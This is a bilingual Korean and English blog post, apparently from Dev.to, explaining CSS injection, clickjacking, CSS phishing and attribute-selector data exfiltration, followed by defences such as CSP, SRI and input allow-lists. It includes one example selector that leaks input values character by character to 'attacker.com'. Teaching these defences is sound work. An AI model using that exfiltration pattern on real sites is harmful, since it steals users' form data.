CSS가 해킹되는 방법 (그리고 웹사이트를 보호하는 방법)

발행: 3일 전 (2026년 2월 26일 오후 03:09 GMT+9)

8 분 소요

Source: Dev.to

When people hear the word hacking, they usually think about JavaScript, backend exploits, or databases. CSS often feels harmless—after all, it’s “just styling,” right?

사람들이 해킹이라는 단어를 들으면 보통 JavaScript, 백엔드 익스플로잇, 데이터베이스 등을 떠올립니다. CSS는 흔히 무해하게 느껴지는데—결국 “그냥 스타일링”이잖아요, 라는 식으로요.

In reality, CSS can be abused, manipulated, or injected in ways that lead to data leaks, UI deception, phishing, and serious security issues. CSS itself doesn’t execute code, but when combined with poor security practices, it becomes a powerful attack surface.

실제로 CSS는 악용, 조작, 혹은 삽입될 수 있으며, 그 결과 데이터 유출, UI 기만, 피싱, 그리고 심각한 보안 문제를 초래할 수 있습니다. CSS 자체는 코드를 실행하지 않지만, 보안 관행이 부실할 경우 강력한 공격 표면이 됩니다.

1. “해킹된 CSS”가 실제로 의미하는 것은?

CSS는 할 수 없습니다:

JavaScript 실행
파일 시스템 접근
민감한 데이터 직접 읽기

우리가 CSS가 해킹되었다고 말할 때 보통 다음 중 하나를 의미합니다:

악의적인 CSS가 삽입됨
정상적인 CSS가 수정됨
CSS가 사이드채널로 사용됨
CSS가 UI 속임수에 악용됨

요약: CSS 자체가 아니라 상황에 따라 무기로 활용되는 것입니다.

2. CSS 인젝션 (가장 흔한 문제)

CSS 인젝션이란?

CSS 인젝션은 사용자 입력이 적절한 정제 없이 <style> 블록이나 CSS 파일에 삽입될 때 발생합니다.

예시 (취약한 코드)

body {
  background: ;
}

An attacker can inject arbitrary CSS rules.

왜 위험한가

삽입된 CSS는 다음과 같은 일을 할 수 있습니다:

보안 경고 숨기기
가짜 로그인 폼 만들기
보이지 않는 요소 겹치기
시각적 데이터 탈취 (다음 섹션 참고)

CSS 인젝션은 HTML 인젝션이나 XSS와 결합될 때 특히 위험합니다.

3. UI 리디레싱 및 클릭재킹 (CSS 사용)

CSS는 다음과 같은 속성을 사용해 레이아웃과 가시성을 조작할 수 있습니다:

position: fixed
opacity: 0
z-index: 9999
pointer-events: none

공격 시나리오

공격자는 정상적인 버튼 위에 보이지 않는 버튼을 겹쳐 놓습니다. 사용자는 “Download PDF”(PDF 다운로드)를 클릭했다고 생각하지만 실제로는 “Authorize payment”(결제 승인)를 클릭하게 됩니다. 이는 UI 리디레싱 또는 클릭재킹이라고 불리며, CSS가 핵심 도구로 사용됩니다.

4. CSS를 이용한 피싱 (시각적 기만)

CSS는:

합법적인 로그인 페이지 복제
글꼴, 색상 및 로고 교체
실제 입력 필드 숨기기
가짜 오류 메시지 표시

JavaScript 없이도 CSS는 신뢰할 수 있는 인터페이스를 완벽하게 모방할 수 있습니다. CSS가 신뢰할 수 없는 외부 소스에서 로드되는 경우, 공격자는 시각적으로 웹사이트를 탈취할 수 있습니다.

5. Data Exfiltration Using CSS (Yes, It’s Possible)

How?

Attackers can abuse:

url() inside CSS
Attribute selectors
Font‑loading behavior

Example Concept

input[value^="a"] {
  background-image: url("https://attacker.com/a");
}

문자를 하나씩 테스트함으로써, 공격자는 네트워크 요청을 통해 데이터를 유출할 수 있습니다. 이 방법은 느리지만 효과적이며, 특히 고가치 대상에 대해 유용합니다.

6. 악성 외부 CSS 파일

제어할 수 없는 제3자 CDN에서 CSS를 로드하는 것은 위험합니다. 해당 CSS 파일이

수정되었을 때
교체되었을 때
손상되었을 때

모든 방문자가 즉시 영향을 받게 됩니다. 이는 공급망 공격이며, CSS가 지나치게 신뢰받는 경우가 많습니다.

7. CSS‑Based Browser Bugs & Engine Exploits

Historically, browser rendering engines have had bugs involving:

Fonts
SVG + CSS
Filters and transforms

Attackers combine CSS with such bugs to:

Crash tabs
Leak memory
Break isolation

Modern browsers are much safer, but CSS remains part of exploit chains.

8. CSS 공격으로부터 웹사이트를 보호하는 방법

1️⃣ 사용자 입력을 CSS에 절대 삽입하지 않기

사용자 데이터에서 동적 <style> 블록 금지
신뢰할 수 없는 입력으로부터 인라인 스타일 금지

2️⃣ 콘텐츠 보안 정책(CSP) 사용

Content-Security-Policy: style-src 'self';

이는 악성 CSS 로드를 방지합니다.

3️⃣ 모든 것을 정제하기

사용자 입력이 외관에 영향을 미치는 경우:

엄격한 허용 목록 사용
사전 정의된 테마 사용
원시 값 사용 금지

4️⃣ 인라인 CSS 피하기

인라인 스타일은 CSP를 약화시키고 위험을 증가시킵니다.

5️⃣ 외부 CSS 잠금

신뢰할 수 있는 CDN만 사용
자체 호스팅 CSS를 선호
Subresource Integrity(SRI) 해시로 무결성 모니터링

9. 핵심 요약

CSS는 무해하지 않다. 악용될 수 있다:

사용자 속이기
인터페이스 조작
정보 유출
실제 공격 지원

보안은 JavaScript나 백엔드 코드만이 아니다—프레젠테이션 레이어도 중요. CSS를 보안 표면의 일부로 다루면 대부분의 개발자보다 이미 앞서 나갈 수 있다.

마지막 생각
CSS가 사이트를 해킹하는 것이 아니다. 보안에 대한 잘못된 가정이 해킹을 만든다.